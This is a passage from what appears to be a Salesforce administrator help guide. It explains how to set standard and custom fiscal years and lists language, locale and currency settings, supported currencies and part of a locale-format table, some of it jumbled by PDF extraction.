We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2. Click Setup ➤ Company Profile ➤ Fiscal Year.
3. Select Standard Fiscal Year.
4. Choose the start month.
5. Specify whether the fiscal year is defined by the year it begins or ends.
6. Optionally, select Apply to All Forecasts and Quotas if you want to apply the new fiscal year settings to your
existing forecasts and quotas. This option may not be available depending on your forecast settings.
7. Click Save to finish.

Enabling Custom Fiscal Years


If your fiscal year definition is not met by a standard fiscal year, you can enable custom fiscal years which will allow you to
flexibly define a more complex fiscal year structure.

350
Company Information About Fiscal Years

To enable custom fiscal years:


Note: Before enabling custom fiscal years, make sure that you have exported any data related to fiscal periods. For
specific details about the effects of enabling custom fiscal years, see About Fiscal Years on page 351.

1. Back up your current data.


a. Run and export these reports to Excel:
• Opportunity Pipeline
• Quarterly Forecast Summary
• Quota vs. Actual

b. Optionally, generate weekly export data.


We suggest you do this because changing the fiscal year will cause fiscal periods to shift. This change will affect opportunities
and forecasts organization-wide.
2. Click Setup ➤ Company Profile ➤ Fiscal Year.
3. Select Custom Fiscal Year.
4. Click Enable Custom Fiscal Years.
5. If you understand the effects of enabling custom fiscal years and you have all your data exported, click OK.
Caution: Custom fiscal years cannot be disabled once enabled. Enabling custom fiscal years has impacts on your
reports, forecasts, quotas, and other date sensitive material. Do not enable custom fiscal years unless you understand
and are prepared for all the implications.

If you are not certain you want to enable custom fiscal years, click Cancel.
6. Once you have enabled custom fiscal years, define your fiscal year. See Defining a Custom Fiscal Year on page 358.

See Also:
Setting Up Customizable Forecasting
About Fiscal Years
Defining a Custom Fiscal Year
Choosing a Custom Fiscal Year Template

About Fiscal Years


Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

Not all businesses use the Gregorian year for their fiscal year. Salesforce.com makes it easy for you to define a fiscal year that
fits your business needs.

351
Company Information About Fiscal Years

If your fiscal year follows the Gregorian calendar, but does not start in January, you can simply and easily set your fiscal year
by defining a standard fiscal year. If your fiscal year follows a different structure, you can define a custom fiscal year that meets
your needs.
Whether you use a standard fiscal year or a custom fiscal year, you can define individual fiscal years once for your entire
organization. These fiscal year definitions allow you to use these fiscal periods throughout Salesforce.com including in reporting,
opportunities, and forecasting.
Tip: As a best practice, define your custom fiscal years after your current forecast. Also, update product schedules and
forecasts whenever a custom fiscal year is created or changed.

See Also:
Setting the Fiscal Year

Standard Fiscal Years


Standard fiscal years are periods that follow the Gregorian calendar, but can start on the first day of any month of the year.
Unlike custom fiscal year, standard fiscal years can be used by organizations that do not have customizable forecasting enabled.

Custom Fiscal Years


For companies that break down their fiscal years, quarters, and weeks into custom fiscal periods based on their financial
planning requirements, Salesforce.com allows you to flexibly define these periods using custom fiscal years. For example, as
part of a custom fiscal year, you can create a 13-week quarter represented by three periods of 4, 4, and 5 weeks, rather than
calendar months.
If you use a common fiscal year structure, such as 4-4-5 or a 13-period structure, you can rapidly define a fiscal year by simply
specifying a start date and an included template. If your fiscal year structure is not included in the templates, you can easily
modify a template. For example, if you use three fiscal quarters per year (a trimester) rather than four, delete or modify quarters
and periods to meet your needs.
Custom fiscal periods can be named based on your standards. For example, a fiscal period could be called “P2” or “February.”
Fiscal years can be modified any time that you need to change their definition. For example, an extra week could be added to
synchronize a custom fiscal year with a standard calendar in a leap year. Changes to fiscal year structure take effect immediately
upon being saved.

Considerations When Enabling Custom Fiscal Years


Before enabling custom fiscal year, consider these issues:
• Once you enable custom fiscal years, you cannot disable it. However, you can define custom fiscal years that follow the
same Gregorian calendar structure as the Salesforce.com standard fiscal years.
• Fiscal years will not be automatically created. The only fiscal years available are those that your organization defines.
• Forecasting cannot be used with custom fiscal years unless you have customizable forecasting enabled. To determine if you
have customizable forecasting, see Do I Have Customizable Forecasting? on page 1741.
• Enabling or defining custom fiscal years impacts your forecasts, reports, and quotas.

352
Company Information Customizing the Fiscal Year Structure

- When you define a new custom fiscal year, or when you change the length of any fiscal period, all quotas for that year
will be lost.
- When you define a new custom fiscal year, or when you change the length of any fiscal period, forecasts, forecast history,
and forecast overrides are lost. Changing the length of a period may also affect the previous or next fiscal year and
reports associated with it. Forecasts for periods before the first custom fiscal year will be saved and can be accessed as
usual.
- Forecast reports for a period after the last defined fiscal year cannot be grouped by period, only by date.
- To ensure your forecast reports have the most updated amounts, view the forecast for the period included in the report
before running a forecast report.

• Your organization will not be able to use fiscal period columns in opportunity, opportunity with product, or opportunity
with schedule reports.
• Opportunity list views will not include a fiscal period columns.
• When custom fiscal years are enabled, you can't use the FISCAL_MONTH(), FISCAL_QUARTER(), or FISCAL_YEAR()
date functions in SOQL. For more information on SOQL date functions, see the Web Services API Developer's Guide.

Customizing the Fiscal Year Structure


Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

If your custom fiscal year needs a different structure than one available from the templates, you can use advanced customization
to modify the details of your custom fiscal year definition. Custom fiscal years allow you to:

• Customize the period labels


• Reset the fiscal year to a template
• Add or remove fiscal periods
• Change the length of a fiscal week
Caution: Changing the length of a fiscal year has an impact on forecasting and reporting. For detailed information
on the impact, see About Fiscal Years on page 352.

Customizing the Period Labels


The fiscal year period labels for forecasting and reporting are set by the default label values for the fiscal year periods. To
change them, see Customizing the Fiscal Year Labels on page 355.

Resetting the Fiscal Year to a Template


During customization, if you want to return to a fiscal year template, select a template from the Reset Fiscal Year
Structure drop-down list.

353
Company Information Customizing the Fiscal Year Structure

Note: Resetting the fiscal year structure to a template removes all the customizations you made to the fiscal year.

Adding or Removing Fiscal Periods


You can easily add or remove fiscal periods (such as quarters, periods, or weeks) from the fiscal year structure.
To add fiscal periods:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Select the checkbox for the period before the new period. For example, if you want to add a new quarter, and you want it
to be the second quarter, select the checkbox for the first quarter.
5. Click Insert.
Note: The maximum number of fiscal periods is 250.

To remove a fiscal period:


1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Select the checkbox for the period you want to delete.
5. Click Delete.
Note: You must have at least one quarter, one period, and one week.

Changing the Length of a Fiscal Week


To change the length of fiscal periods:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit for the fiscal year you want to edit.
3. If it is not already expanded, expand the Advanced Customization section.
4. Choose the length from the Duration drop-down list for the fiscal week.
Note: To change the duration of a fiscal period or quarter, insert or delete weeks, or change the length of weeks
that compose the period or quarter.

354
Company Information Customizing the Fiscal Year Labels

Once you have customized your fiscal year, preview the fiscal year definition. If it is correct, close the preview and click Save
to save your fiscal year.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years
Choosing a Custom Fiscal Year Template

Customizing the Fiscal Year Labels


Available in: All Editions

User Permissions Needed


To define or edit fiscal years: “Customize Application”
To view fiscal years: “View Setup and Configuration”

There are two ways to customize the labeling of your fiscal year:

1. Naming schemes and prefix choices


2. Fiscal year picklist customization

Fiscal Year Naming Schemes and Prefix Choices


When defining a custom fiscal year, you can choose the labeling scheme to use for your custom fiscal year. Each fiscal period
type (quarter, period, and week) has a list of labeling schemes that you can select.
Quarter Name Scheme

Numbered by Year
This option allows you to add the quarter number to the quarter label. The quarter label is a combination of the
label for the quarter prefix and the quarter number. For example, if the quarter prefix is “Q”, the label for the third
quarter Q3. To customize the quarter prefix, see Quarter Prefix on page 356. By default the number for each
quarter is set by their order (the first quarter is labeled “1”), but you can customize it by selecting a different value
from the quarter detail drop-down list.

Custom Quarter Names


This option allows you to set the quarter label to any name. The quarter label is set to the name you select from
Quarter Name. By default the order of the quarter names is the same as the picklist order, but you can customize
it by selecting a different value from the quarter detail drop-down list.

Period Name Scheme

Numbered By Year
This option allows you to set the period label based on its position in the year. The period label is a combination
of the period prefix and the period number. Period numbers do not reset in each quarter. For example, if the period

355
Company Information Customizing the Fiscal Year Labels

prefix is “P,” the label for the sixth period is P6. To customize the Period Prefix, see Period Prefix on
page 356. By default the number for each period is set by their order (the first period is labeled “1”), but you can
customize it by selecting a different value from the period detail drop-down list.

Numbered By Quarter
This option allows you to set the period label based on its position in the quarter. The period label is a combination
of the period prefix and the period number. Period numbers reset in each quarter. For example, if the period prefix
is “P,” and the sixth period is the second period in the second quarter, its label is P2. To customize the period
prefix, see Period Prefix on page 356. By default the number for each period is set by their order within the
quarter (the first period in a quarter is labeled “1”), but you can customize it by selecting a different value from the
period detail drop-down list.

Standard Month Names


This option allows you to set the period label to the month name of the start of the period. For example, if a period
started on October 12 and ends on November 10, the period label would be October.

Custom Period Names


This option allows you to set the period label to any string. The period label is set to the string you select from
Period Name. By default the order of the period names is the same as the picklist order, which you can customize
by selecting a different value from the period detail drop-down list.

Fiscal Year Picklists


Review these custom picklists to customize the labels for your custom fiscal year.
Quarter Prefix
The quarter prefix picklist is a list of options for the text that prefixes the quarter number or name if your fiscal year uses
the Numbered By Year quarter naming scheme. For example, if the fiscal quarter is called “Q4,” the “Q” is the quarter
prefix.

Period Prefix
The period prefix picklist is a list of options for the text that prefixes the period number or name if your fiscal year uses
the Numbered By Year period naming scheme. For example, if the fiscal quarter is called “P4,” the “P” is the period
prefix.

Quarter Name
The quarter name picklist is a list of options for the quarter name if your fiscal year uses the Custom Quarter Names
quarter naming scheme. For example, if you want to name your quarters for the seasons (Spring, Summer, Fall, and
Winter), you could set the quarter name list to those values.

Period Name
The period name picklist is a list of options for the quarter name if your fiscal year uses the Custom Period Names
quarter naming scheme. Similar to the quarter name picklist, you can choose meaningful names for the period name
picklist.

Customizing Fiscal Year Names


To customize one of these picklists:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click Edit next to the appropriate picklist.
For details on customizing the values of these picklists, see Additional Options for Updating Picklists on page 799.

356
Company Information Choosing a Custom Fiscal Year Template

Choosing a Custom Fiscal Year Template


Available in: All Editions

User Permissions Needed


To change your fiscal year: “Customize Application”

When defining a new custom fiscal year, your first step is to choose a custom fiscal year template. These templates are available
to make it easier for you to define your custom fiscal year. They create a simple custom fiscal year that you can customize to
meet your exact needs.
Note: If you choose a template and realize that it is not the best one for your fiscal year definition, you can reset it at
any time using the Reset Fiscal Year Structure option. For more information, see Customizing the Fiscal Year
Structure on page 353.

Choose one of three types of templates:


4 Quarters per Year, 13 Weeks per Quarter
Choose one of these templates for your fiscal year if you want each quarter to have the same number of weeks per quarter.
These templates all have 4 quarters, 12 periods, and 52 weeks per year. Each quarter is 13 weeks long and is composed
of three periods. Two of the periods in each quarter are 4 weeks, and one is 5 weeks. In a 4-4-5 template, for example,
the first and second period of a quarter are 4 weeks long, and the third period is 5 weeks long. Weeks are always 7 days
long. A typical customization for these templates is to add extra weeks for leap years.
4-4-5
Within each quarter, period 1 has 4 weeks, period 2 has 4 weeks, and period 3 has 5 weeks

4-5-4
Within each quarter, period 1 has 4 weeks, period 2 has 5 weeks, and period 3 has 4 weeks

5-4-4
Within each quarter, period 1 has 5 weeks, period 2 has 4 weeks, and period 3 has 4 weeks

13 Periods per Year, 4 Weeks per Period


Choose one of these templates if your fiscal year has more than 12 periods and if one quarter is longer than the other
quarters. These templates all have 4 quarters per year, 13 periods per year, 3 or 4 periods per quarter, 53 weeks per year,
and 4 weeks per period (5 weeks in the final period). Weeks generally have 7 days, but will include a short week at the
end of a year. The most common customization for this type of template is to create or change the length of a short
week.
3-3-3-4
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 4 periods

3-3-4-3
Quarter 1 has 3 periods, quarter 2 has 3 periods, quarter 3 has 4 periods, and quarter 4 has 3 periods

357
Company Information Defining a Custom Fiscal Year

3-4-3-3
Quarter 1 has 3 periods, quarter 2 has 4 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods

4-3-3-3
Quarter 1 has 4 periods, quarter 2 has 3 periods, quarter 3 has 3 periods, and quarter 4 has 3 periods

Gregorian Calendar
12 months/year, standard Gregorian calendar.
Unlike the other template styles, you cannot do advanced customization of a fiscal year that has been created from a
Gregorian calendar template. You should only use this template if you want to create a fiscal year that follows the
Gregorian calendar. This template mimics the functionality of standard fiscal years.

See Also:
Defining a Custom Fiscal Year
About Fiscal Years

Defining a Custom Fiscal Year


Available in: All Editions

User Permissions Needed


To view fiscal year: “View Setup and Configuration”
To change your fiscal year: “Customize Application”

Before defining a custom fiscal year, enable custom fiscal years for your organization. See Enabling Custom Fiscal Years on
page 350 for more information.
Enabling custom fiscal years does not automatically define them. You must define all of your company's custom fiscal years
so that they fit your company's calendar.
If you have defined a custom fiscal year and you need to change it, you can edit the existing fiscal year definition. Custom
fiscal years cannot be deleted. Instead of deleting an existing fiscal year, edit it until it meets your needs.
Before defining or editing any custom fiscal years, be aware of its impact on forecasting, reports, and other objects by reviewing
About Fiscal Years on page 351.

Defining a New Custom Fiscal Year


To define a new custom fiscal year:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click New. The Custom Fiscal Year template dialog opens.
3. Choose a template and click Continue to close the Custom Fiscal Year template dialog. For more information on the
templates, see Choosing a Custom Fiscal Year Template on page 357.

358
Company Information Defining a Custom Fiscal Year

4. Set the fiscal year start date, the fiscal year name, and choose the week start day. You can also add a description for the
fiscal year.
Note: If this is the first custom fiscal year you have defined, the Fiscal Year Start Date and the Week
Start Date are set to today's date and day of week. If you have already defined a custom fiscal year, they will be
set to the day after the last end date of your custom fiscal years.

If you need to make changes other than the start date, year name, or week start day, see Customizing the Fiscal Year
Structure on page 353.
5. Optionally, review the fiscal year definition by clicking on Preview.
If it is correct, close the preview and click Save to save your fiscal year, or Save & New to save your fiscal year and define
another fiscal year.

Editing a Custom Fiscal Year


To edit an existing custom fiscal year definition:
1. Click Setup ➤ Company Profile ➤ Fiscal Year.
2. Click a defined fiscal year name to review the details. Close the fiscal year preview to continue.
3. Click Edit for the fiscal year you want to edit.
4. Change the Fiscal Year Start Date, the Fiscal Year Name, Description, or Week Start Day.
If changing the Fiscal Year Start Date causes this fiscal year to overlap with the previous fiscal year, or if it creates
a gap between the fiscal years, the end date of the previous fiscal year will be changed to the day before the start of this
fiscal year.
If changing the end date will cause this fiscal year to overlap the next fiscal year, or if it creates a gap between the fiscal
years, the start date of the next fiscal year will be changed to the day after the end of this fiscal year.
Note: You cannot change the start or end date of a fiscal year that causes it to overlap with a fiscal year that is
defined using a Gregorian year template.

Caution: If you change the start or end date of any quarter, period, or week, all forecast data (including quotas,
forecast history, and forecast overrides) that are within that date range, and all forecasts for date ranges automatically
adjusted as a result of that change, will be lost. This includes end or start date changes resulting from inserting or
deleting periods.

5. Click Preview.
6. Review the fiscal year definition. If it is correct, close the preview and click Save to save your fiscal year. If you need to
make more detailed edits, see Customizing the Fiscal Year Structure on page 353.
Note: Unless you specify them, the fiscal year period labels for forecasting and reporting will be set by the default
label values for the fiscal year periods. If you would like to change them, see Customizing the Fiscal Year Labels
on page 355.

See Also:
Setting the Fiscal Year
Choosing a Custom Fiscal Year Template
Additional Options for Updating Picklists
About Fiscal Years

359
Company Information Understanding Language, Locale, and Currency

Understanding Language, Locale, and Currency


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information “Customize Application”
The available personal setup options vary according to which Salesforce.com Edition you have.

The Salesforce.com settings for language, locale, time zone, and currency can affect how objects (Accounts, Leads, Opportunities,
etc.) are handled. In a single currency organization, the Salesforce.com administrators set the currency locale, default language,
default locale, and default time zone for their organizations and the users can set their individual language, locale, and time
zone. In a multiple currency organization, the Salesforce.com administrators set the corporate currency, default language,
default locale, and default time zone for their organizations and the users can set their individual currency, language, locale,
and time zone.
Note: Single language organizations cannot change their language, although they can change their locale.

Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Currency User in a multiple currency Go to Setup ➤ My Personal User’s default currency for
organization Information ➤ Personal quotas, forecasts, and reports.
Information ➤ Edit and Shown only in organizations
select a currency from the using multiple currencies. This
activated currencies must be one of the active
drop-down list. currencies for the
organization.
Corporate Currency Administrator in a multiple Go to Setup ➤ Company The currency in which the
currency organization Profile ➤ Manage organization's corporate
Currencies ➤ Change headquarters reports revenue.
Corporate and select a Serves as the basis for all
currency from the New currency conversion rates.
Corporate Currency Only for organizations that
drop-down list. use multiple currencies.
To add a currency, click New,
select a currency from the
supported currency drop-down
list, enter a conversion rate,
enter the number of decimal
places you want, and click

360
Company Information Understanding Language, Locale, and Currency

Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Save or Save & New to add
another currency.

Currency Locale Administrator in a single Go to Setup ➤ Company The country or geographic


currency organization Profile ➤ Company region in which the
Information ➤ Edit and organization is located. The
select a currency from the setting affects the format of
supported currency drop-down currency amounts. For single
list. currency organizations only.
Default Currency ISO Not editable Not editable User's default currency setting
Code for new records. Available only
for organizations that use
multiple currencies.
Default Language Administrator Go to Setup ➤ Company The default language that is
Profile ➤ Company selected for new users in the
Information ➤ Edit and organization. This setting
select a language from the determines the language used
supported language on page for the user interface text and
2562 drop-down list. help. In all editions except
Personal Edition, individual
users can separately set the
language for their own login,
which will override the
organization setting. In Group
Edition, this field is called
Display Language.

This setting also determines


the language in which all
customizations—such as
custom fields, tabs, and user
interface options—are stored.
For customizations, individual
users' language settings do not
override this setting.

Default Locale Administrator Go to Setup ➤ Company The default country or


Profile ➤ Company geographic region that is
Information ➤ Edit and selected for new users in the
select a locale from the organization. This setting
supported locale drop-downdetermines the format of
list. dates, times, and names in
Salesforce.com. In Contact
Note: Locale names
Manager, Group, Professional,
with a country in
Enterprise, Unlimited, and
Developer Edition

361
Company Information Understanding Language, Locale, and Currency

Setting Who can edit the setting How to edit the setting Description and effects of the
setting
parentheses also set a organizations, individual users
default currency can set their personal locale,
which overrides the
organization setting. In Group
Edition, this field is called
Locale.

Default Time Zone Administrator Go to Setup ➤ Company Primary time zone in which
Profile ➤ Company the organization is located. A
Information ➤ Edit and user's individual Time Zone
select a time zone from the setting overrides the
supported time zone organization's Default
drop-down list. Time Zone setting.

Note: Organizations in
Arizona should select
“Mountain Standard Time,”
and organizations in parts of
Indiana that do not follow
Daylight Savings Time should
select “Eastern Standard
Time.”

Information Currency Not editable Not editable The default currency for all
currency amount fields in the
user record. Available only for
organizations that use multiple
currencies.
Language User Go to Setup ➤ My Personal The primary language for the
Information ➤ Personal user. All text and online help
Information ➤ Edit and is displayed in this language.
select a language from the In Professional, Enterprise,
supported language on page and Unlimited Edition
2562 drop-down list. organizations, a user’s
individual Language setting
overrides the organization’s
Default Language.

Not available in Personal


Edition, Contact Manager, or
Group Edition™. The
organization’s Display
Language applies to all users.

362
Company Information Understanding Language, Locale, and Currency

Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Locale User Go to Setup ➤ My Personal Country or geographic region
Information ➤ Personal in which user is located.
Information ➤ Edit and
The Locale setting affects
select a locale from the
the format of date, date/time,
supported locale drop-down
and number fields, and the
list.
calendar. For example, dates
Note: Locale names in the English (United States)
with a country in locale display as 06/30/2000
parentheses also set a and as 30/06/2000 in the
default currency English (United Kingdom)
locale. Times in the English
(United States) locale display
using a twelve-hour clock with
AM and PM (for example,
2:00 PM), whereas in the
English (United Kingdom)
locale, they display using a
twenty-four-hour clock (for
example, 14:00).
The Locale setting also
affects the first and last name
order on Name fields for users,
leads, and contacts. For
example, Bob Johnson in the
English (United States) locale
displays as Bob Johnson,
whereas the Chinese (China)
locale displays the name as
Johnson Bob.
For Personal Edition users,
the locale is set at the
organization level via Setup
➤ Company Profile ➤
Company Information. For
all other users, their personal
locale, available at Setup ➤
My Personal Information ➤
Personal Information,
overrides the organization
setting.

363
Company Information Supported Currencies

Setting Who can edit the setting How to edit the setting Description and effects of the
setting
Time Zone User Go to Setup ➤ My Personal Primary time zone in which
Information ➤ Personal user works.
Information ➤ Edit and
Users in Arizona should select
select a time zone from the
the setting with
supported time zone
“America/Phoenix,” and users
drop-down list.
in parts of Indiana that do not
follow Daylight Savings Time
should select the setting with
“America/Indianapolis.”

Links to ISO codes, UI names. Add restrictions (part of distribution).

See Also:
About Company Information

Supported Currencies
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information: “Customize Application”
The available personal setup options vary according to which Salesforce.com Edition you have.

Salesforce.com supported currencies:

Currency Name Currency Code


Afghanistan Afghani AFN
Albanian Lek ALL
Algerian Dinar DZD
Angola Kwanza AOA
Argentine Peso ARS
Armenian Dram AMD
Aruba Florin AWG

364
Company Information Supported Currencies

Currency Name Currency Code


Australian Dollar AUD
Azerbaijanian Manat AZN
Bahamian Dollar BSD
Bahraini Dinar BHD
Bangladesh Taka BDT
Barbados Dollar BBD
Belarussian Ruble BYR
Belize Dollar BZD
Bermuda Dollar BMD
Bhutan Ngultrum BTN
Bolivia Mvdol BOV
Bolivian Boliviano BOB
Botswana Pula BWP
Brazilian Real BRL
British Pound GBP
Brunei Dollar BND
Bulgaria Lev BGN
Burundi Franc BIF
Cambodia Riel KHR
Canadian Dollar CAD
Cape Verde Escudo CVE
Cayman Islands Dollar KYD
CFA Franc (BCEAO) XOF
CFA Franc (BEAC) XAF
Chilean Peso CLP
Chinese Renminbi CN
Chinese Yuan CNY
Colombian Peso COP
Comoros Franc KMF
Convertible Marks BAM
Costa Rica Colon CRC

365
Company Information Supported Currencies

Currency Name Currency Code


Croatian Kuna HRK
Cuban Peso CUP
Czech Koruna CZK
Danish Krone DKK
Dijibouti Franc DJF
Dominican Peso DOP
East Caribbean Dollar XCD
Egyptian Pound EGP
Eritrea Nakfa ERN
Estonian Kroon EEK
Ethiopian Birr ETB
Euro EUR
Falkland Islands Pound FKP
Fiji Dollar FJD
Franc Congolais CDF
Gambian Dalasi GMD
Georgia Lari GEL
Ghanian Cedi GHS
Gibraltar Pound GIP
Guatemala Quetzal GTQ
Guinea Franc GNF
Guyana Dollar GYD
Haiti Gourde HTG
Honduras Lempira HNL
Hong Kong Dollar HKD
Hungarian Forint HUF
Iceland Krona ISK
Indian Rupee INR
Indonesian Rupiah IDR
Iranian Rial IRR
Iraqi Dinar IQD

366
Company Information Supported Currencies

Currency Name Currency Code


Israeli Shekel ILS
Jamaican Dollar JMD
Japanese Yen JPY
Jordanian Dinar JOD
Kazakhstan Tenge KZT
Kenyan Shilling KES
Korean Won KRW
Kuwaiti Dinar KWD
Kyrgyzstan Som KGS
Lao Kip LAK
Latvian Lat LVL
Lebanese Pound LBP
Lesotho Loti LSL
Liberian Dollar LRD
Libyan Dinar LYD
Lithuanian Lita LTL
Macau Pataca MOP
Macedonian Denar MKD
Malagasy Ariary MGA
Malawi Kwacha MWK
Malaysian Ringgit MYR
Maldives Rufiyaa MVR
Mauritania Ougulya MRO
Mauritius Rupee MUR
Mexican Peso MXN
Mexican Unidad de Inversion (UDI) MXV
Moldovan Leu MDL
Mongolian Tugrik MNT
Moroccan Dirham MAD
Mozambique Metical MZN
Myanmar Kyat MMK

367
Company Information Supported Currencies

Currency Name Currency Code


Namibian Dollar NAD
Nepalese Rupee NPR
Neth Antilles Guilder ANG
New Zealand Dollar NZD
Nicaragua Cordoba NIO
Nigerian Naira NGN
North Korean Won KPW
Norwegian Krone NOK
Omani Rial OMR
Pacific Franc XPF
Pakistani Rupee PKR
Panama Balboa PAB
Papua New Guinea Kina PGK
Paraguayan Guarani PYG
Peruvian Nuevo Sol PEN
Philippine Peso PHP
Polish Zloty PLN
Qatar Rial QAR
Romanian Leu RON
Russian Rouble RUB
Rwanda Franc RWF
Samoa Tala WST
Sao Tome Dobra STD
Saudi Arabian Riyal SAR
Serbian Dinar RSD
Seychelles Rupee SCR
Sierra Leone Leone SLL
Singapore Dollar SGD
Solomon Islands Dollar SBD
Somali Shilling SOS
South African Rand ZAR

368
Company Information Supported Currencies

Currency Name Currency Code


Sri Lanka Rupee LKR
St Helena Pound SHP
Sudanese Pound SDG
Surinam Dollar SRD
Swaziland Lilageni SZL
Swedish Krona SEK
Swiss Franc CHF
Syrian Pound SYP
Taiwan Dollar TWD
Tajik Ruble TJS
Tanzanian Shilling TZS
Thai Baht THB
Tonga Pa'anga TOP
Trinidad&Tobago Dollar TTD
Tunisian Dinar TND
Turkish Lira TRY
Turkmenistan Manat TMT
U.S. Dollar USD
UAE Dirham AED
Ugandan Shilling UGX
Ukraine Hryvnia UAH
Unidades de fomento CLF
Uruguayan New Peso UYU
Uzbekistan Sum UZS
Vanuatu Vatu VUV
Venezuelan Bolivar Fuerte VEF
Vietnam Dong VND
Yemen Riyal YER
Yugoslav Dinar CSD
Zambian Kwacha ZMK

369
Company Information Supported Locales

Currency Name Currency Code


Zimbabwe Dollar ZWD

See Also:
Understanding Language, Locale, and Currency

Supported Locales
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view company information: “View Setup and Configuration”
To change company information: “Customize Application”
The available personal setup options vary according to which Salesforce.com Edition you have.

The Salesforce.com locale settings determine the following display formats:

• Date and time


• Users's Names
• Addresses
• Commas and periods in numbers

Locale names with a country in parentheses also set a default currency.

Name Code Default Date and Time format Number Name format Address
currency time format format format
Arabic ar 02/01/2008 06:00   1,234.56 Ms. FName Address Line
04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Arabic ar_AE UAE Dirham: 02/01/2008 06:00   1,234.56 Ms. FName Address Line
(United Arab AED 04:30 PM LName 1,
Emirates)
Address Line
2

370
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country

Arabic ar_BH Bahraini 02/01/2008 06:00   1,234.56 Ms. FName Address Line
(Bahrain) Dinar: BHD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Arabic ar_JO Jordanian 02/01/2008 06:00   1,234.56 Ms. FName Address Line
( Jordan) Dinar: JOD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Arabic ar_KW Kuwaiti 02/01/2008 06:00   1,234.56 Ms. FName Address Line
(Kuwait) Dinar: KWD 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Arabic ar_LB Lebanese 02/01/2008 06:00   1,234.56 Ms. FName Address Line
(Lebanon) Pound: LBP 04:30 PM LName 1,
Address Line
2
City, State
ZipCode
Country

Arabic (Saudi ar_SA Saudi Arabian 02/01/2008 06:00   1,234.56 Ms. FName Address Line
Arabia) Riyal: SAR 04:30 PM LName 1,
Address Line
2

371
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country

Bulgarian bg_BG Bulgaria Lev: 2008-1-2 6:00 1 234,56 Ms. FName Address Line
(Bulgaria) BGN 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Catalan ca 02/01/2008 06:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Catalan ca_ES Spanish 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Spain) Peseta: ESP 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Catalan ca_ES_EURO Euro: EUR 02/01/2008 06:00 1.234,56 Ms. FName Address Line
(Spain,Euro) 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Czech cs 2.1.2008 6:00 1 234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2

372
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
City, State
ZipCode
Country

Czech (Czech cs_CZ Czech 2.1.2008 6:00 1 234,56 Ms. FName Address Line
Republic) Koruna: CZK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Danish da 02-01-2008 06:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

Danish da_DK Danish 02-01-2008 06:00 1.234,56 Ms. FName Address Line
(Denmark) Krone: DKK 16:30 LName 1,
Address Line
2
City, State
ZipCode
Country

German de 02.01.2008 06:00 1.234,56 Ms. FName Address Line


16:30 LName 1,
Address Line
2
ZipCode City
State Country

German de_AT Austrian 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Austria) Schilling: 16:30 LName 1,
ATS
Address Line
2
ZipCode City

373
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
State Country

German de_AT_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Austria,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country

German de_CH Swiss Franc: 02.01.2008 06:00 1'234.56 Ms. FName Address Line
(Switzerland) CHF 16:30 LName 1,
Address Line
2
ZipCode City
State Country

German de_DE German 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Germany) Mark: DEM 16:30 LName 1,
Address Line
2
ZipCode City
State Country

German de_DE_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Germany,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country

German de_LU Luxembourg 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Luxembourg) Franc: LUF 16:30 LName 1,
Address Line
2
ZipCode City
State Country

374
Company Information Supported Locales

Name Code Default Date and Time format Number Name format Address
currency time format format format
German de_LU_EURO Euro: EUR 02.01.2008 06:00 1.234,56 Ms. FName Address Line
(Luxembourg,Euro) 16:30 LName 1,
Address Line
2
ZipCode City
State Country

Greek el 2/1/2008 4:30 6:00  μ 1.234,56 Ms. FName Address Line


PM LName 1,
Address Line
2
City, State
ZipCode
Country

Greek el_GR Greek 2/1/2008 4:30 6:00  μ 1.234,56 Ms. FName Address Line
(Greece) Drachma: PM LName 1,
EUR
Address Line
2
City, State
ZipCode
Country

English en_AU Australian 2/01/2008 6:00 AM 1,234.56 Ms. FName Address Line
